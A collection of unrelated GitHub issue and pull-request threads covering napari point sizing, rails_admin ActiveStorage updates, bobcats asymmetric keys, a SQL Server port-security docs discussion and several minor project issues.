We're still left with a better situation compared to #2213 because at least points don't zoom in/out when rotating.

@andy-sweet and @mstabrin: git says you both touched this code quite a bit, so you might be interested in checking this!
I'm a bit confused about the failing tests...

Well, that's unfortunate! 😅 I would say if it's broken on main then don't worry about fixing it in this PR — just fixing the size-varying points is a big enough contribution!

I made a couple more changes; to summarize:

size is now isotropic: most use cases will be identical, but for those who used anisotropic sizes for out_of_slice_display should soon be able to achieve the same with thick slices (#5522). Everything else was actually broken or wrong with anisotropic sizes, so those things are fixed.
the last component of scale is now used for scaling points sizes (as sugegsted by @czaki). This reverts the behaviour to pre-#5312, so that scale affects the point size (unlike current main, where size is "absolute").
points.to_mask is the other side effect of having isotropic sizes; hopefully it's not too used, but if that's the case, we could add an argument to provide anisotrpic sizes on call?

Does anyone have any clue about this failure? It's complete nonsense to me :/
https://github.com/napari/napari/actions/runs/4796102353/jobs/8531478149?pr=5582#step:8:354

As spotted by @aganders3, this failure is happening because napari-svg is assuming point sizes are 2d. I opened a PR over there https://github.com/napari/napari-svg/pull/27; I made it so it's backward compatible, so we should merge and release that first.

@brisvag 0.1.7 of napari-svg is released now: https://pypi.org/project/napari-svg/

@kephale looks like we need to update some deps over there ^^'

@brisvag I'm happy to do so, but would point out that something looks a little funky:
from the CI logs of ubuntu-latest 3.8 pyqt5:
...
The conflict is caused by:
    The user requested napari-svg>=0.1.7
    The user requested (constraint) napari-svg==0.1.6
...

It isn't clear to me where the napari-svg==0.1.6 is coming from. I'll poke a bit more, but I couldn't find a quick fix.

The constraints in CI are coming from:
https://github.com/napari/napari/pull/5715
It protects CI tests from breaking when a dependency is updated.
The action/app or whatnot fires once per week (if i recall correctly) updating pins for CI.
So either you wait or update the constraint files manually.
@Czaki can probably give a more proper answer.

I suggest update constrains file in ghis PR if you do not want to wait. The update is scheduled on monday, but we expect some problem with opengl.

This is ready to review and merge now :)

While remove the "todo" above, I also simplified the code in two related places as I was trying to understand how it worked. They are just refactors, so nothing should change.

@Czaki: this is a pretty big backward-incompatible change; however, there is an argument to be made for including this if #5312 is included in v0.4.18, because the points size behaviour for anyone who uses isotropic sizes (=most users) will then be more consisent between 0.4.17 and 0.4.18.


Chore: Functional breakdown for authentication analytics feature

Description
Functional breakdown for authentication analytics feature is done with reference to https://github.com/appsmithorg/appsmith/pull/13462
Fixes #13071
Type of change

New feature (non-breaking change which adds functionality)

How Has This Been Tested?

Manually via local app
Manually via Postman local

Checklist:

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes

/ok-to-test sha=21f5447


Changing the port number does not increase security

Changing the port number does not increase security by any meaningful amount.  All this does is make it slightly harder for someone to break into your server. Instead of attacking port 1433, I need to port scan your box first to find out the port to attack.  A better option would be to simply not expose the SQL port to the public internet at all.
All using a non-standard port number does is make administration of the box harder and it provides no actual security. All that is done is obscure your SQL Server and obscurity is not security.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: bbf66d7f-e1c3-b2e6-299a-ee4443f535de
Version Independent ID: c19a6c16-e398-a2ee-12aa-287fc2e71e89
Content: Security Considerations for SQL Server in Azure - Azure SQL Server VM
Content Source: articles/virtual-machines/windows/sql/virtual-machines-windows-sql-security.md
Service: virtual-machines-sql
GitHub Login: @MashaMSFT
Microsoft Alias: mathoma

I think it would be good to highlight the risk of having SQL Server exposed to the internet on even a non-default port. If you enable this, your error log will become quickly inundated with failed SA connections. If you set a bad SA password your server will be owned withing 20 minutes.

Hi @mrdenny and @jdanton , thank you for contacting Microsoft with your feedback! Let me do a bit of research :)
Thanks!
Masha from the SQL Docs team

@MashaMSFT Did you get a chance to take a look at this issue? Thanks :)

Hi @mrdenny, and @jdanton , thanks again for reaching out and providing your feedback! Changing the default port is the recommended best practices in helping increase the security of your SQL Server. Security works in layers, and we want to implement as many changes as possible to deter intruders. Likewise, we recommend choosing the most restrictive option for your scenario when configuring the connection privacy. If there is a requirement for public access, there are additional security best practices that should be implemented to reduce the surface area:
I hope that helps and please let us know if we can be of further assistance. I am going to close out this Git Issue but please feel free to comment should you need anything.
Thanks!
Masha from the SQL Docs team
#please-close


Add product listing with horizontal filters

Add product listing with horizontal filters.
The view should use the same filters like on the already developed product listing with vertical filters: color, size, price.
The design of the view:

Is this issue still up-to-date? Do we need this view?

I think it's not relevant anymore. Closing


Updates to raiderDelay.py argparse

##Update for user-friendliness needed in argparse:

Provide example for each input. E.g. ISO 8601 format not clear to all users. (e.g. multiple variants for parsing day and time exist online, clarify with e.g. YYYMMDD)
Specify to which reference the DEM and reference the height levels are. i.e. ellipsoid, geoid and  corrected for ellipsoid etc
The options used to be a bit more nested. i.e. LOS or statevector or zenith; there is no mention anymore of zenith option. Correct in argparse visualization
The options used to be a bit more nested: i.e. DEM or levels. Correct in argparse visualization
Unclear what the pickle file option is, lacks description and might be only relevant for testing.
If the parallel option does not work, comment it out.
Also add which models and how to specify them. e.g. its caps sensitive.
For now only list the once work itself.
im not sure if –modelBBOX is the right word. Rather see it as a region bbox, where internally the model bbox is extended such interpolation works.
Add in multiple run example

Zenith for ERA5 at model grid nodes at topo
Zenith for ERA5 at model grid nodes at fixed height level
los for ERA 5 using Sentinel-1 orbit at model grid nodes at topo
los for ERA 5 using ISCE los file at model grid nodes at topo

PR is incorporated.
Syntax does not yet fully capture the options correctly:
Its LOS or SV; and if not specific it will be zenith.
Is there a way to cluster these inputs togehter to show they are nested?
Ray has them more nested before and did not list them all as individual options.

no need to mix DEM with lon lat information or weatehr model grid nodes

area or bbox. Which takes precedent. Rather remove information on the bbox of which teh model is being download. make it area over which delays are calculated.

@dbekaert to add to this, I would suggest to make the "outformat" and "model" input arguments not case-sensitive. E.g. the code should be able to handle cases where the user specifies "ERA5" or "era5".
Also, maybe adding a synopsis of each major function's operation (as we do in ARIA-tools) would be a good idea.

@jlmaurer you mentioned to found a solution?


Initial Asymmetric Key support

This is a PR for asymmetric key support.

I can see the Java Test Results now. But I could not find the ScalaJS browser based ones.

I can see the Java Test Results now. But I could not find the ScalaJS browser based ones.

It failed before the JS tests could run because of this error I think:
https://github.com/typelevel/bobcats/runs/4675075710?check_suite_focus=true#step:7:33

This work helped me discover two signing and verifying bugs in version 07 of Signing HTTP Messages:

a problem with a missing space in the signing text which made it impossible to verify the signature
a problem with the encoding of a private key PEM, which is not accepted by Chrome Java Web Crypto API implementation see issue 1867.

This is getting close to something that could be checked in (It's up to maintainers to decide how to proceed).
I will see how well this works by using it in my "Signing HTTP Messages" implementation https://github.com/bblfish/httpSig .

This is getting close to something that could be checked in

Thanks, that's fantastic! I think there's still a couple things missing:

Node.js implementation.
Removing the dependency to scala-js-dom and internalizing the facades, as previously discussed. Do you have any thoughts on this? The reason I would prefer to avoid this dependency is because it has historically caused problems when used with Node.js and generally does not make sense to be used in a Node.js library since it describes browser APIs. Since the goal of bobcats is to provide cross-platform implementations across JVM, Node.js, and browsers, internalizing the facades seems like the safest strategy.

Besides that, this PR is very large. Probably more code here than in the entire repository right now 😉 rather than review it all at once, I will do it in the following order:

Changes to the Key hierarchy, to add support for asymmetric keys.
The new interfaces for signing/verifying.
JVM/browser/Node.js implementations.
In fact, if you wouldn't mind splitting the PR into smaller PRs, then we could even merge each part as it's reviewed. (1) and (2) deserve a focused review, because they are introducing new public APIs. (3) should be straightforward implementations and you are very thorough with tests, so I have less concerns there.

Let me know what you think. Thanks again for the tremendous effort here, this is a great addition to this library :)

I think it would be quite difficult to cut this into smaller PRs because these work as a whole with the test suite. Signing and verifying just go together. Thinking of this as a sculpture: one has to first get the general form and then hack away to get the details smoothed out.
Would it work if I made a PR to a branch on this repo, and then you could make the changes the way you see fit? I could then comment on those as future PRs with feedback on how it fits with the httpSig implementation I am writing.
You are right the Node.js implementation is missing.  I have nearly no experience of node.js . I think for someone who does that would be very easy - now that the tests are in place.
The API definitely needs to be looked at carefully. What I did got things going which is useful as it helps one test better ideas.
I don't have an opinions on using scala-js-dom or internalising the API. I just used the dom to reduce my work (if I had added that the PR would be even bigger :-) But it should be easy I think to internalise it and even to improve it.
I think you have experience with that so you'll find that quite easy to do. It could also be added as a todo in the issue DB for a new PR, just as node js support could.
My best contribution I think would be to start using it to see what is missing when used.
I think one should call this "gestalt programming": get the whole working, then refine the smaller pieces, once the whole is understood to work.

I think it would be quite difficult to cut this into smaller PRs because these work as a whole with the test suite. Signing and verifying just go together.

I agree, I didn't mean to suggest that we separate signing and verifying :) but rather that we focus separately on interface/API and implementation/testing, since I believe those are the two important parts of this PR. As you say yourself, the API deserves a careful look, and I thought that may be best served in its own PR, of course taking all the learnings from the "gestalt programming" you have done so diligently :)

You are right the Node.js implementation is missing. I have nearly no experience of node.js . I think for someone who does that would be very easy - now that the tests are in place.

I think you have experience with that so you'll find that quite easy to do. It could also be added as a todo in the issue DB for a new PR, just as node js support could.

It sounds like you won't be able to work on this, which is no problem 👍 unfortunately, I will not have time to work on this right now.

Would it work if I made a PR to a branch on this repo, and then you could make the changes the way you see fit?

We can keep your PR open, and it can be picked up at any time in the future by you, me, or anyone else.

My best contribution I think would be to start using it to see what is missing when used.

That sounds great :)

The last commit adds only support for Java for Ed25519 as discussed in  issue https://github.com/typelevel/bobcats/issues/58
It can be removed later if needed. I just wanted to see how far it works and point the HTTP-WG team to a commit.


Empty file field deletes previously attached files when updating a record that has active_storage

I have a vanilla Art model with has_many_attached in it...
class Art < ApplicationRecord
  has_many_attached :images
  belongs_to :art_category
end

This appropriately adds an "Images" field in rails_admin, and when creating a new record, it works perfectly.

However, if I return to that record and update any other field (but don't touch the images), it deletes the associated image.
Parameters: {
  "authenticity_token"=>"[FILTERED]",
  "art"=>{
    "name"=>"mountains",
    "description"=>"this is a description i'm writing",
    "tools"=>"midjourney, photoshop, wombo",
    "nft"=>"1",
    "external_link"=>"https://opensea.io/...",
    "art_category_id"=>"1",
    "images"=>[""]
  },
  "return_to"=>"http://localhost:3000/admin/art_category/new",
  "_add_edit"=>"true",
  "model_name"=>"art",
  "id"=>"6"
}

As you can see, the images field is submitting a blank array.
Is this a setting I'm missing? Or is this a bug?
Additional context

rails version: 7.0.3
rails_admin version: 3.0.0

I'm on latest stable rails 6.0 and rails_admin 3.0.0 and don't have this issue. We do however follow this https://github.com/railsadminteam/rails_admin/wiki/ActiveStorage#deleting-an-attachment but that shouldn't affect what you're seeing afaict

Thanks for reporting. This is because of those changes in ActiveStorage.
https://github.com/rails/rails/commit/4f191b975431dbf8071d73a48505e27b19c283e6
https://github.com/rails/rails/commit/400b2103540e1dfb370eab29a891687d778ad357
Pushed the fix into the master branch, so please try it when you get a chance.

I'm still experiencing that issue.
Pictures and videos attached are sent as an empty array.
Here are the parameters sent on update, the issue is only happening on production though. I'm using rails 7.1.1 and rails_admin: 3.1.2
2023-11-07T18:31:22.238168+00:00 app[web.1]: I, [2023-11-07T18:31:22.238151 #2]  INFO -- : [7f779e8f-5686-4cbc-8cec-7d3add8a9b94]   Parameters: {"authenticity_token"=>"[FILTERED]", "seller_item"=>{"seller_id"=>"xxx", "featured"=>"1", "title"=>"", "description"=>"", "pictures"=>[""], "videos"=>[""]}, "return_to"=>"xxxxx", "_save"=>"", "model_name"=>"seller_item", "id"=>"xxxx"}


Enhancement: Provide the possibility to define a relative binding path

Under certain circumstances it would be quite useful to define a binding with a path like {../../text} or {products>../../addtional/text}. This kind of binding path would obviously only make sense when the binding is defined with respect to a binding context.
A use case where this could be beneficial can be found here: http://jsbin.com/ranoqejati/edit?html,output
Having a look at #697 explains the actual problem in more detail (see especially third comment - refers to the same example).
Looking forward to getting feedback on this. Thanks!

Tracked internally under ID:<PHONE_NUMBER>

Hi SeeSharpSoft, thanks for your input, even that it was a long time ago. As you might have noticed, we haven't considered to address this idea, at least we didn't reflect it in this Github issue so far.
In the meantime you might have addressed such scenarios in a different way or it may have become less relevant? As we don't expect to work on the topic, and as you said is meaningful only "under certain circumstances", we're closing this issue. If there are new considerations to take into account, feel free to report. Best regards!


yarn or npm

It appears that the repo contains both a yarn.lock file and a package-lock.json file.
As quoted by yarn:

It is advised not to mix package managers in order to avoid resolution inconsistencies caused by unsynchronized lock files.

Which one should we use? Yarn or NPM?

Hi @FabienDehopre !
The default package manager for this repo is npm.
The yarn.lock file was added by other contributor some time in the past but was not kept in sync and I will remove it.
Everyone is anyway free to use package manager of their choice in their own fork / clone.

Fixed

By using pnpm package manager it has an error:
NullInjectorError: R3InjectorError(M1)


Ark version upgrade

Hi, the ark cookbook has been updated to v1.0. It would be great if the metadata.rb were to be updated to reflect this change.

2.1.1 is released with the fix.


Implement mwc-bottom-app-bar

Good afternoon, is there any way we can help for this one?
I naively try to fork out the top bar (fixed) component and attempted to turn it to a bottom one.
but I was missing a dependency on the material spec.
Can you give me some pointers?


Improve UX for search

Consider: https://lunrjs.com/

Consider: https://www.npmjs.com/package/minisearch

Consider: https://fusejs.io/


Fix report output

Copy and paste form the patch provided by @golovetska https://github.com/golovetska/behat-code-coverage/commit/b883fdc721b68734ca8f000e00d7aa56c99a2906
Fixes https://github.com/leanphp/behat-code-coverage/issues/12
Not overly happy with creating new CodeCoverage in EventListener.php when it's passed into the constructor, but it works for me.  Might get the chance to look at this in more detail later...

Thank you for the PR, but I cannot merge this PR directly as these changes are not made by you. I will make sure to pull the original commit and integrate it with the master branch shortly so the original commit stays as is.
Closing.

See #27 for PR


How to force VSCode to use default PostCSS syntax

I cant set vscode to mark tags in vue component as postcss syntax.
Is totally not a solition here as I figured it to work assets stopped loading by default but I dont want to struggle with webpacker for it. I want force tag as postcss from vscode side. How can I do it?
If I cant please add this feature

VS Code does not provide support for Vue temple files, so most likely better place will be in Vetur extension repo.

VS Code does not provide support for Vue temple files, so most likely better place will be in Vetur extension repo.


Add transferwise variant of target-postgres

Migrated from GitLab: https://gitlab.com/meltano/meltano/-/issues/2425
Originally created by @DouweM on 2020-11-05 23:14:23

https://github.com/transferwise/pipelinewise-target-postgres
https://transferwise.github.io/pipelinewise/connectors/targets/postgres.html

View 6 previous comments from the original issue on GitLab